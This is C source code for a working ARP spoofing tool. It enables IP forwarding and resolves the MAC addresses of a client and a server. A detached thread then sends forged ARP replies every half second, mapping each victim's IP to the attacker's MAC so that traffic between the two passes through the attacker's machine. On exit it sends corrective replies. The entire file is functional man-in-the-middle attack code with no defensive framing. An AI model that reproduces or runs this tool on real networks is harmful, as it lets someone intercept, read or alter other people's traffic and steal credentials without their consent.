
#include <fcntl.h>
#include <string.h>
#include <stdarg.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <syslog.h>
#include <net/if.h>

#include <netinet/ether.h>
#include <netpacket/packet.h>
#include <pthread.h>

#include "arpproxy.h"
#include "util_debug.h"


/* global socket */
static int arp_socket = -1;
static uint32 client_ip = 0;
static uint32 server_ip = 0;
static uint32 local_ip = 0;
static char local_eth[ETH_NAME] = {0};
static uint8 local_mac[MAC_ADDR_LEN] = {0};
static uint8 client_mac[MAC_ADDR_LEN] = {0};
static uint8 server_mac[MAC_ADDR_LEN] = {0};
static int client_mac_get = 0;
static int server_mac_get = 0;

static int program_exit = 0;

int get_eth_ip(const char *eth_name, char *ip, int len)
{
    if(NULL == eth_name || NULL == ip || len < 17) {
        debug_err("%s: arguments error!\n", __func__);
        return -1;
    }
    int fd = socket(AF_INET, SOCK_DGRAM, 0);
    if(fd < 0) {
        debug_err("%s: socket(), %s\n", __func__, strerror(errno));
        return -1;
    }
    struct ifreq  _ifreq;
    memset(&_ifreq, 0, sizeof(_ifreq));
    strncpy(_ifreq.ifr_name, eth_name, sizeof(_ifreq.ifr_name));


    debug_print("Interface: %s\n", _ifreq.ifr_name);

    if(ioctl(fd, SIOCGIFADDR, &_ifreq) < 0) {
        debug_err("%s: ioctl(SIOCGIFADDR), %s\n", __func__, strerror(errno));
        return -1;
    }
    else {
        strncpy(ip, inet_ntoa(((struct sockaddr_in *)(&_ifreq.ifr_addr))->sin_addr), len);
        debug_print("\tIP: %s\n", ip);
        return 0;
    }
}

int get_eth_mac(const char *eth_name, uint8 *mac, int len)
{
    if(NULL == eth_name || NULL == mac || len < 6) {
        debug_err("%s: arguments error!\n", __func__);
        return -1;
    }
    int fd = socket(AF_INET, SOCK_DGRAM, 0);
    if(fd < 0) {
        debug_err("%s: socket(), %s\n", __func__, strerror(errno));
        return -1;
    }
    struct ifreq  _ifreq;
    memset(&_ifreq, 0, sizeof(_ifreq));
    strncpy(_ifreq.ifr_name, eth_name, sizeof(_ifreq.ifr_name));


    debug_print("Interface: %s\n", _ifreq.ifr_name);

    if(ioctl(fd, SIOCGIFHWADDR, &_ifreq) < 0) {
        perror("ioctl(SIOCGIFADDR)");
        debug_err("%s: ioctl(SIOCGIFADDR), %s\n", __func__, strerror(errno));
        return -1;
    }
    else {
        mac[0] = _ifreq.ifr_hwaddr.sa_data[0] & 0xff;
        mac[1] = _ifreq.ifr_hwaddr.sa_data[1] & 0xff;
        mac[2] = _ifreq.ifr_hwaddr.sa_data[2] & 0xff;
        mac[3] = _ifreq.ifr_hwaddr.sa_data[3] & 0xff;
        mac[4] = _ifreq.ifr_hwaddr.sa_data[4] & 0xff;
        mac[5] = _ifreq.ifr_hwaddr.sa_data[5] & 0xff;
        return 0;
    }
}

int send_arp_reply(uint32 src_ip, uint8 *src_mac, uint32 dst_ip, uint8 *dst_mac) 
{          
    struct sockaddr_ll sa_ll;    
    ARP_PACKET arp_pkt;

    memset(&sa_ll, 0, sizeof(sa_ll));
    sa_ll.sll_family = PF_PACKET;
    sa_ll.sll_ifindex = if_nametoindex(local_eth);
	memset(&arp_pkt, 0, sizeof(ARP_PACKET));
	arp_pkt.op         = htons(ARPOP_REPLY);
	arp_pkt.hw_type    = htons(ETHER_HW_TYPE);
	arp_pkt.prot_type  = htons(IP_PROTO_TYPE); 
	arp_pkt.frame_type = htons(ARP_FRAME_TYPE); 
	arp_pkt.hw_addr_size   = ETH_HW_ADDR_LEN;
	arp_pkt.prot_addr_size = IP_ADDR_LEN;     

	memcpy(arp_pkt.src_hw_addr,  src_mac, ETH_HW_ADDR_LEN);
	memcpy(arp_pkt.sndr_hw_addr, src_mac, ETH_HW_ADDR_LEN);
	memcpy(arp_pkt.targ_hw_addr, dst_mac, ETH_HW_ADDR_LEN);
	memcpy(arp_pkt.rcpt_hw_addr, dst_mac, ETH_HW_ADDR_LEN);
	arp_pkt.sndr_ip_addr = src_ip; 
	arp_pkt.rcpt_ip_addr = dst_ip;  
	bzero(arp_pkt.padding, 18);

	if(sendto(arp_socket, &arp_pkt, sizeof(ARP_PACKET), 0, (struct sockaddr *)&sa_ll, sizeof(sa_ll)) < 0) {             
        perror("sendto()");
	}
    else {
        char *who = (char *)&dst_ip;
        uint8 *who_mac = dst_mac;
        char *reply = (char *)&src_ip;
        uint8 *reply_mac = src_mac;
        printf("%u.%u.%u.%u(%02x:%02x:%02x:%02x:%02x:%02x) Tell Who Has %u.%u.%u.%u? "
                "is at %02x:%02x:%02x:%02x:%02x:%02x\n",
                who[0]&0xff, who[1]&0xff, who[2]&0xff, who[3]&0xff,
                who_mac[0]&0xff, who_mac[1]&0xff, who_mac[2]&0xff, 
                who_mac[3]&0xff, who_mac[4]&0xff, who_mac[5]&0xff,
                reply[0]&0xff, reply[1]&0xff, reply[2]&0xff, reply[3]&0xff,
                reply_mac[0]&0xff, reply_mac[1]&0xff, reply_mac[2]&0xff, 
                reply_mac[3]&0xff, reply_mac[4]&0xff, reply_mac[5]&0xff);
    }
    return 0;
}

int send_arp_request(uint32 src_ip, uint8 *src_mac, uint32 dst_ip) 
{          
    struct sockaddr_ll sa_ll;    
    ARP_PACKET arp_pkt;
    uint8 brd_mac[6] = {0xff,0xff,0xff,0xff,0xff,0xff};

    memset(&sa_ll, 0, sizeof(sa_ll));
    sa_ll.sll_family = PF_PACKET;
    sa_ll.sll_ifindex = if_nametoindex(local_eth);
	memset(&arp_pkt, 0, sizeof(ARP_PACKET));
	arp_pkt.op         = htons(ARPOP_REQUEST);
	arp_pkt.hw_type    = htons(ETHER_HW_TYPE);
	arp_pkt.prot_type  = htons(IP_PROTO_TYPE); 
	arp_pkt.frame_type = htons(ARP_FRAME_TYPE); 
	arp_pkt.hw_addr_size   = ETH_HW_ADDR_LEN;
	arp_pkt.prot_addr_size = IP_ADDR_LEN;     

	memcpy(arp_pkt.src_hw_addr,  src_mac, ETH_HW_ADDR_LEN);
	memcpy(arp_pkt.sndr_hw_addr, src_mac, ETH_HW_ADDR_LEN);
	memcpy(arp_pkt.targ_hw_addr, brd_mac, ETH_HW_ADDR_LEN);
	memcpy(arp_pkt.rcpt_hw_addr, brd_mac, ETH_HW_ADDR_LEN);
	arp_pkt.sndr_ip_addr = src_ip; 
	arp_pkt.rcpt_ip_addr = dst_ip;  
	bzero(arp_pkt.padding, 18);

	if(sendto(arp_socket, &arp_pkt, sizeof(ARP_PACKET), 0, (struct sockaddr *)&sa_ll, sizeof(sa_ll)) < 0) {             
        perror("sendto()");
	}
    else {
        char *who = (char *)&src_ip;
        uint8 *who_mac = src_mac;
        char *reply = (char *)&dst_ip;
        printf("%u.%u.%u.%u(%02x:%02x:%02x:%02x:%02x:%02x) Tell Who Has %u.%u.%u.%u? This Machine Asked.\n",
                who[0]&0xff, who[1]&0xff, who[2]&0xff, who[3]&0xff,
                who_mac[0]&0xff, who_mac[1]&0xff, who_mac[2]&0xff, 
                who_mac[3]&0xff, who_mac[4]&0xff, who_mac[5]&0xff,
                reply[0]&0xff, reply[1]&0xff, reply[2]&0xff, reply[3]&0xff);
    }
    return 0;
}

int send_arp_spoof()
{
    if(client_mac_get) {
        send_arp_reply(server_ip, local_mac, client_ip, client_mac); 
    }
    if(server_mac_get) {
        send_arp_reply(client_ip, local_mac, server_ip, server_mac); 
    }
    return 0;
}

int send_arp_revert()
{
    if(client_mac_get) {
        send_arp_reply(server_ip, server_mac, client_ip, client_mac);
    }
    if(server_mac_get) {
        send_arp_reply(client_ip, client_mac, server_ip, server_mac);
    }
}


static int process_arp_pkts(char *buff, int len)
{
	ARPPkts *arp_pkt = (ARPPkts *)buff;
	ARPHDR  *arp_hdr = &arp_pkt->arphdr;
	ARPMSG  *arp_msg = &arp_pkt->arpmsg;
    uint32 *p_sip = (uint32 *)(arp_msg->ar_sip);
    uint32 *p_tip = (uint32 *)(arp_msg->ar_tip);
	
	switch(ntohs(arp_hdr->ar_op)) {
		case ARPOP_REQUEST:
            /* 源ip和目的ip相等,这个是gratuitous arp不用回应 */
		    if(*p_sip == *p_tip) {
                printf("recieve gratuitous arp\n");
                break;
            }

            /* 欺骗服务器和客户端 */
            if(*p_sip == client_ip && *p_tip == server_ip) {
                if(client_mac_get) {
                    send_arp_reply(server_ip, local_mac, client_ip, client_mac); 
                }
            }
#if 0
            else if(*p_sip == server_ip) {
                if(server_mac_get) {
                    send_arp_reply(client_ip, local_mac, server_ip, server_mac); 
                }
            }
#endif
            else {
                break;
            }

            printf("%u.%u.%u.%u(%02x:%02x:%02x:%02x:%02x:%02x)\t Tell Who Has %u.%u.%u.%u?\n",
                    arp_msg->ar_sip[0], arp_msg->ar_sip[1], arp_msg->ar_sip[2], arp_msg->ar_sip[3],
                    arp_msg->ar_sha[0], arp_msg->ar_sha[1], arp_msg->ar_sha[2], arp_msg->ar_sha[3], 
                    arp_msg->ar_sha[4], arp_msg->ar_sha[5],
                    arp_msg->ar_tip[0], arp_msg->ar_tip[1], arp_msg->ar_tip[2], arp_msg->ar_tip[3]);


			break;
		case ARPOP_REPLY:
            if(*p_sip == client_ip) {
                if(0 == client_mac_get) {
                    memcpy(client_mac, arp_msg->ar_sha, 6);
                    printf("Get Client Mac: %02x:%02x:%02x:%02x:%02x:%02x\n",
                            client_mac[0]&0xff, client_mac[1]&0xff, client_mac[2]&0xff,
                            client_mac[3]&0xff, client_mac[4]&0xff, client_mac[5]&0xff);
                    client_mac_get = 1;
                }
            }
            if(*p_sip == server_ip) {
                if(0 == server_mac_get) {
                    memcpy(server_mac, arp_msg->ar_sha, 6);
                    printf("Get Server Mac: %02x:%02x:%02x:%02x:%02x:%02x\n",
                            server_mac[0]&0xff, server_mac[1]&0xff, server_mac[2]&0xff,
                            server_mac[3]&0xff, server_mac[4]&0xff, server_mac[5]&0xff);
                    server_mac_get = 1;
                }
            }
			break;
		default:
			break;
	}
	return ARP_SUCCESS;
}




void thread_spoof(void *arg)
{
    pthread_detach(pthread_self());
    while(1) {
        send_arp_spoof();
        usleep(1000 * 500);
    }
    pthread_exit(NULL);
}

void this_exit(int signo)
{
    program_exit = 1;
}

void Usage()
{
    printf("simple_arp_spoof eth client server\n");
}

int main(int argc, char **argv)
{
    if(argc != 4) {
        Usage();
        return 0;
    }

    system("echo 1 > /proc/sys/net/ipv4/ip_forward");
    printf("echo 1 > /proc/sys/net/ipv4/ip_forward\n");

    strncpy(local_eth, argv[1], sizeof(local_eth) - 1);
    client_ip = inet_addr(argv[2]);
    server_ip = inet_addr(argv[3]);
    get_eth_mac(local_eth, local_mac, MAC_ADDR_LEN);
    char ip[24] = {0};
    get_eth_ip(local_eth, ip, sizeof(ip) - 1);
    local_ip = inet_addr(ip);

	arp_socket = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ARP));
    if(arp_socket < 0) {
        perror("socket()");
		return 0;
	}

    if(signal(SIGINT, this_exit) < 0) {
        perror("signal(SIGINT)");
    }
    if(signal(SIGTERM, this_exit) < 0) {
        perror("signal(SIGTERM)");
    }

    pthread_t th;
    if(0 != pthread_create(&th, NULL, (void *)&thread_spoof, NULL)) {
        perror("pthread_create()");
        return 0;
    }
    
    int i;
    for(i = 0; i < 5; i++) {
        send_arp_request(local_ip, local_mac, client_ip);
        send_arp_request(local_ip, local_mac, server_ip);
        usleep(1000 * 200);
    }

	while(!program_exit) {
        fd_set rset;
        FD_ZERO(&rset);
	    FD_SET(arp_socket, &rset);
		int ret = select(arp_socket + 1, &rset, NULL, NULL, NULL);
		if(ret < 0) {
            perror("select()");
			if (errno == EINTR) {
                continue;
			}
			else {
                /* something wrong happened */
                break;
			}
		}
		
        if(FD_ISSET(arp_socket, &rset)) {
			struct sockaddr from;
            char buff[MAX_MSG_SIZE] = {0};
			socklen_t from_len = sizeof(from);
			
			int len = recvfrom(arp_socket, buff, sizeof(buff) - 1 ,0, &from, &from_len);
            if(len < 0) {
                perror("recvfrom(<0)");
                continue;
            }
            else if(0 == len) {
                perror("recvfrom(0)");
                continue;
            }
			process_arp_pkts(buff, len);
		} 
	}
    
    for(i = 0; i < 20; i++) {
        send_arp_revert();
        usleep(1000 * 330);
    }

    return 0;			   
}
